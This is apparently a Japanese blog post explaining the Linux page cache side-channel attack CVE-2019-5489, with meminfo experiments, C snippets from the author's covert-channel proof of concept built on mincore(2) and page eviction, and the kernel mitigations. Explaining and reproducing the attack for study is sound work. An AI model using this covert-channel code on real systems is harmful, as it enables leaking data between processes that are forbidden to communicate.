Page Cache Attacks (CVE-2019-5489) について

本記事は[Kobe University Advent Calendar 2019](https://adventar.org/calendars/4690)の15日目の記事です。

# はじめに
この記事の目的は、CCS 2019で発表された、[CVE-2019-5489](https://bugzilla.redhat.com/show_bug.cgi?id=1664110)として登録されている**Page cache attacks[^1]**についてまとめ、実際に簡単なPoCを実装することである。実装したPoCは[Page Cache Side Channel Attacks (CVE-2019-5489) proof of concept for Linux](https://github.com/mmxsrup/CVE-2019-5489)に置いてある。

ページキャッシュとは、Linuxカーネルが使うディスクキャッシュ(ディスクに保存されているデータをシステムがRAM上に保存できるようにするソフトウェア機構)のことであり、Paga cache attacksはページキャッシュを利用したサイドチャネル攻撃である。Flush+Reload[^2]のようなCPUキャッシュ(ハードウェアキャッシュ)に対するサイドチャネル攻撃とは異なり、ページキャッシュ(ソフトウェアキャッシュ)を利用するため、ハードウェアに対する依存がない。さらに、Paga cache attacksはタイマーを使って時間を測定する必要がなく、システムコールの戻り値を利用する。また、Paga cache attacksのようなソフトウェアキャッシュに対するサイドチャネル攻撃はWebブラウザのキャッシュに対しても行われ、履歴などの情報を抜き取ることができることが知られている[^3]。

Page cache attacks[^1]には、ローカル・リモート環境での攻撃例がいくつか示されている。例えば、Covert Channel(セキュリティポリシーによって通信が許可されていないプロセス間で機密情報を転送する攻撃)、ASLR迂回やキーストロークタイミングの取得などがある。今回はLinuxのローカル環境におけるのCovert ChannelのPoCを実装してみた。

# ページキャッシュについて
ページキャッシュについてある程度理解しておくことが、PoCの作成に必要であるので、ページキャッシュの説明と実験を行う。
ページキャッシュとは、Linuxカーネルが利用するソフトウェアキャッシュであり、ディスクのデータをキャッシュしておくために利用される。ユーザープロセスからのファイル読み書き要求により、カーネルはページキャッシュを参照し、存在しなければディスクにアクセスし、読み込んだデータをページキャッシュに追加する。これにより、後から同じファイルを利用するプロセスはディスクにアクセスをしないで、ページキャッシュ内にあるデータを利用することができる。重要なことは、**ファイルにアクセスすれば、読み込んだデータはページキャッシュに追加される**ということである。 
また、ページキャッシュはRAM上に作られるため、容量は有限である。そのため、キャッシュの容量が足りなくなったら、どこかのページをページキャッシュから追い出す必要がある。ページキャッシュの管理はアクティブリスト(アクティブページLRUリスト)と非アクティブリスト(非アクティブページLRUリスト)の2つのリストで管理されており、アクティブリストに最近アクセスしたページを集め、非アクティブリストに長い間アクセスしていないページを集め、ページの追い出しは非アクティブリストから行われる。下図のように、ページにアクセスがあった場合、usedの矢印のように状態が動く。例えば、あるページに対する初回アクセスで状態1から2に入り、そのページが状態2のまま、再びそのページに対してアクセスがあると状態2から3に移り、アクティブリストに入ることになる。つまり、**2度以上のアクセスでアクティブリストに入る**ことが可能になる。

![Move pages between LRU lists](http://www.programering.com/images/remote/ZnJvbT1jbmJsb2dzJnVybD13WnVCbkw0VW1OMmNqWWtWVE5oRkdPell6TjRBVE54UWpOeVFUWWtOR00zWURNeGtUTDBJek53TWpNeEl6TDFBek14QWpNdmd6TXpFak0xOHladnhtWXYwMmJqNXladnhtWTBsbWJqNXljbGRXWXRsMkx2b0RjMFJIYQ.jpg)
*[Understanding the operating system by Linux (five): memory management (below)](https://www.programering.com/a/MzN3YDMwATI.html)より引用*


実際にアクティブリストと非アクティブリストの動きに関する実験してみる。
まず、swap機能をオフにし、1.0 GBのファイルを作成し、ページキャッシュをクリアして、テスト環境を作成する。(PCのRAM容量が小さければ、作成するファイルのサイズを小さくした方が良いかも)

```
$ sudo swapoff -a
$ dd if=/dev/zero of=tmp bs=1M count=1000
$ sudo sh -c "echo 1 > /proc/sys/vm/drop_caches"
```
つぎに、ページキャッシュのアクティブ・非アクティブリストの使用容量を表示するコマンドと、上で作成した1.0 GBのファイルを読み込むコマンドを繰り返し実行する。

```
$ cat /proc/meminfo | grep file
Active(file):     314140 kB
Inactive(file):    56372 kB

$ cat tmp > /dev/null
$ cat /proc/meminfo | grep file
Active(file):     314140 kB
Inactive(file):  1080620 kB

$ cat tmp > /dev/null
$ cat /proc/meminfo | grep file
Active(file):    1338020 kB
Inactive(file):    56740 kB
```
1度目のファイル読み出しで、非アクティブリストのサイズが約1.0 GB大きくなり、2度目のファイル読み出しで、非アクティブリストのサイズが約1.0 GB小さくなり、アクティブリストのサイズがが約1.0 GB大きくなっている。つまり、1度目の読み出しで非アクティブリストに入り、2度目の読み出しでアクティブリストに入っていて、上での説明と同じになっていることがわかる。
同様の実験をより大きなファイルサイズ(16.0 GB)に対して行うと、以下のようになる。1度目の読み出し時に、非アクティブリストのサイズが足りず、ファイルがページキャッシュに乗り切らない。そのため、2度目の読み出し時にページキャッシュにヒットせず、アクティブリストのサイズが増えることはない。

```
$ dd if=/dev/zero of=tmp bs=1M count=16000
$ sudo sh -c "echo 1 > /proc/sys/vm/drop_caches"
$ cat /proc/meminfo | grep file
Active(file):     298924 kB
Inactive(file):    21148 kB

$ cat tmp > /dev/null
$ cat /proc/meminfo | grep file
Active(file):     297080 kB
Inactive(file):  2090576 kB

$ cat tmp > /dev/null
$ cat /proc/meminfo | grep file
Active(file):     296684 kB
Inactive(file):  2088860 kB
```



# Page cache attacks について
![attack_overview.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/166802/700ab585-e16a-b590-391f-878d1403342f.png)
*arXiv:1901.01161 より借用*


paga cache attacksの概要について、上の図を用いて説明する。

今回の攻撃の前提条件は、**攻撃者のプログラムと被害者のプログラムが同じページキャシュにアクセス可能**であることだ。これは、攻撃者と被害者のプログラムが同じオペレーティングシステム上で動いていて、同じ共有ライブラリやファイルを利用している場合に可能である。上の図の例では、`libfoobar.so` が3つのプログラム間 (`Victim #1 Program`, `Victim #2 Program`, `Attack Program`) で共有されているため、`Victim #1 Program` が `foo()` 関数を実行するためにアクセスした `libfoobar.so` のデータがキャシュされている同一のページキャッシュに `Attack Program` からもアクセス可能である。

page cache attacksでは、**攻撃者はページキャッシュ内のあるページがアクセスされたかどうかという情報を利用し、ターゲットのプログラムの動作を知る**ことができる。上の図の例では、`Victim #1 Program`は`t=1, 4`のときに`foo()`関数にアクセスし、`Attack Program`は`libfoobar.so`の`foo()`関数に対応する`#0 (0x0000~0x0fff)`のページがページキャッシュにあるかどうかを調べている。`Attacker Program`は`t=0`のときに、`#0`がページキャッシュにないことを確認し、`t=1`のときに、`#1`がページキャッシュにあることを確認して`foo()`関数が呼ばれたことを知ることができる。そして、次の呼び出しに備えて、`#0`のページをページキャッシュから追いしておくことで、`t=4`のとき、再び`foo()`関数が呼ばれたことを知ることができる。

では、攻撃者はどのようにしてあるページがページキャッシュにあるかを知り、どのようにしてあるページをページキャッシュから追い出すのか。
ページキャッシュにあるかどうかは**[mincore(2)](https://linuxjm.osdn.jp/html/LDP_man-pages/man2/mincore.2.html)システムコールを利用する**ことで可能である。mincore(2)は、呼び出し元プロセスの仮想メモリのページがRAM内に存在し、ディスクアクセスが発生しないかどうかを示すフラグを返すため、ページキャッシュに存在するかどうかを簡単に調べることができる。また、mincore(2)の代わりに、ページフォルトの処理にかかる時間からも判断することができる。soft pagefult(ページキャッシュからページをマップするだけ)か、regular pagefault(ディスクからデータをロードする)で大きな時間の差が生じるため、これを利用できる。
そして、**大量のファイルに対してアクセスを繰り返す**ことで、すでにページキャッシュ内に存在するファイルを追い出すことができる。しかし、これはmincore(2)の呼び出しと比べて時間がかかるため、この攻撃のボトルネックになってしまう。単に大量のファイルにアクセスするより、効率のよい方法が論文[^1]に紹介されている。

このように、**攻撃者は他のプログラムの動作をmincore(2)やページフォルトにかかる時間というサイドチャネルを通して、知ることができる。**上の図の例では、単に`foo()`関数が呼ばれたタイミングを知ることできるだけであるが、もし機密情報に依存するプログラムの動作を知ることができれば、攻撃者はその機密情報を知ることができてしまうだろう。

# Page cache attacksを利用したCovert Channelの実装
[Covert Channel](https://en.wikipedia.org/wiki/Covert_channel)とは、セキュリティポリシーによって通信が許可されていないプロセス間で機密情報を転送する機能を作成する攻撃の一種である。page cache attacksでは、**あるページがページキャッシュにあるかどうかという情報を通して、あるプロセスから別のプロセスに対して情報を送ることができる。**

実際に送信プロセスから受信プロセスにデータを送るPoCを作成した。プログラムは[Page Cache Side Channel Attacks (CVE-2019-5489) proof of concept for Linux](https://github.com/mmxsrup/CVE-2019-5489)に置いてある。
送信・受信プロセス間で同じ共有ライブラリを使用し、送信プロセスは送りたいデータ(機密データ)によって、共有ライブラリ内の呼び出す関数を変え、受信プロセスはページキャッシュの状態を読み取り、どの関数のページがキャッシュにあるかを判断して、データを受信する。また、プロセス間でデータ送受信のタイミング同期を取るために利用する、2つのValid信号(送信者が利用)とReady信号(受信者が利用)も共有ライブラリのページキャッシュの状態を利用して送受信する。2つValid信号が必要な理由は、2つの連続するデータ送受信の間で、valid信号に対する競合が発生しないようにするためである。

以下では、プロセス間の同期のコードは省き、ページキャッシュの状態を利用して行うデータの送受信のコードについてのみ説明する。

## 共有ライブラリの作成
以下のように各関数の間が64ページ分でアライメントされた共有ライブラリを簡易的に作成した。この関数を呼び出すことで、対応するページがページキャッシュに入り、サイドチャネル攻撃に使用できる。アライメントサイズを1ページにしなかったのは、プロフェッチにより、ある関数を呼び出したときに、他の関数が入っているページもページキャッシュに入らないようにするためである。
今回はこのような攻撃しやすい自前のライブラリを用いたが、libcなどの他の共有ライブラリを用いても同様のことが可能だろう。

```c
#define SIZE 4096 * 64

__attribute__ ((aligned(SIZE))) int func_0() { return 0; }
__attribute__ ((aligned(SIZE))) int func_1() { return 1; }
__attribute__ ((aligned(SIZE))) int func_2() { return 2; }
__attribute__ ((aligned(SIZE))) int func_3() { return 3; }
__attribute__ ((aligned(SIZE))) int func_4() { return 4; }
__attribute__ ((aligned(SIZE))) int func_5() { return 5; }
__attribute__ ((aligned(SIZE))) int func_6() { return 6; }
__attribute__ ((aligned(SIZE))) int func_7() { return 7; }
```

## データの送信
以下のプログラムのように、送信したいデータによって呼び出す関数を変えばよい。例えば、`A`を送る場合は、`0x41(=0b1000001)`なので、`func0`と`func_6()`を呼び出すことになる。

```c
void send_data(const int index) {
	char c = key[index];

	if (c & (1 << 0)) {
		func_0();
	}
	if (c & (1 << 1)) {
		func_1();
	}
        ...
	if (c & (1 << 7)) {
		func_7();
	}
}
```

## データの受信
以下のプログラムのように、mincore(2)システムコールを利用して、各関数が入っているページのページキャッシュの情報を取得し、データの復元を行う。 例えば、`check_state(func_1)`と`check_state(func_6)`が`1`を返した場合、復元されたデータは`0x42(=0b1000010)`となり、送信者が`B`を送ったことがわかる。

```c
int check_state(void* addr) {
	size_t page_size = sysconf(_SC_PAGESIZE);
	unsigned char vec[1] = {0};
	int res = mincore(addr, page_size, vec);
	assert(res == 0);
	return vec[0] & 1;
}

char read_data() {
	char data = 0;
	if (check_state(func_0)) {
		data |= (1 << 0);
	}
	if (check_state(func_1)) {
		data |= (1 << 1);
	}
	...
	if (check_state(func_7)) {
		data |= (1 << 7);
	}
	return data;
}
```

## ページキャッシュの追い出し
以下のプログラムのように、ある十分に大きなファイル(`file`)に対して、繰り返しアクセスを行えばよい。ただし、共有ライブラリのページキャッシュはactive listに入っていることも考えられるため、ファイルへのアクセスを2度繰り返して、アクティブリストに入っているページも追い出せるようにする。(実際に、読み出しを1度しかしなかった場合、追い出しには成功しなかった。)
このような操作をすることで、最終的に、`func_0(), func_1(), ... func_7()`のページをページキャッシュから追い出すことに成功する。その後は、またデータの送信から繰り返せばよい。

```c
int cache_count() {
	int count = 0;
	count += check_state(func_0);
        ...
	count += check_state(func_7);
	return count;
}

void evict() {
	FILE *file = fopen("file", "r");
	fseek(file, 0, SEEK_END);
	long fsize = ftell(file);
	fseek(file, 0, SEEK_SET);

	char* buf = malloc(SIZE * sizeof(char));

	off_t chunk = 0;
	int    flag = 0;
	while (chunk < fsize) {
		if (cache_count() == 0) {
			flag = 1;
			break;
		}
		fread(buf, sizeof(char), SIZE, file); // first read
		fseek(file, -SIZE, SEEK_CUR);
		fread(buf, sizeof(char), SIZE, file); // second read
		chunk += SIZE;
	}

	if (!flag) {
		printf("Failed to evict page cache\n");
		debug_print();
		exit(0);
	}

	free(buf);
	fclose(file);
}
```

# Page cache attacksの緩和策
Linux5.0以降ではmincore(2)のシステムコールの挙動を変えて対応した。はじめは、[Change mincore() to count "mapped" pages rather than "cached" pages](https://github.com/torvalds/linux/commit/574823bfab82d9d8fa47f422778043fbb4b4f50e#diff-005fb6716ad73caee6506a1279af5f40)により、mincore()で得られる情報はページキャッシュの情報でなく、マップされているかどうかの情報を返すように変更された。しかし、これはmincore(2)を利用するプログラムに影響を与えたため、[Revert "Change mincore() to count "mapped" pages rather than "cached" pages](https://github.com/torvalds/linux/commit/30bac164aca750892b93eef350439a0562a68647#diff-005fb6716ad73caee6506a1279af5f40)により復元された。その後、[mm/mincore.c: make mincore() more conservative](https://github.com/torvalds/linux/commit/134fca9063ad4851de767d1768180e5dede9a881#diff-005fb6716ad73caee6506a1279af5f40)により、マップしているファイル書き込み権限がある場合のみ、ページキャッシュの状態を返すように変更された。これにより共有ライブラリなどを利用して、データを送受信することが難しくなっただろう。

# Reference
[^1]: Daniel Gruss et al. Page cache attacks [CCS 19]
[^2]: Yuval Yarom et al. FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack [USENIX Security 14]
[^3]: Edward W. Felten et al.Timing Attacks on Web Privacy [CCS 00]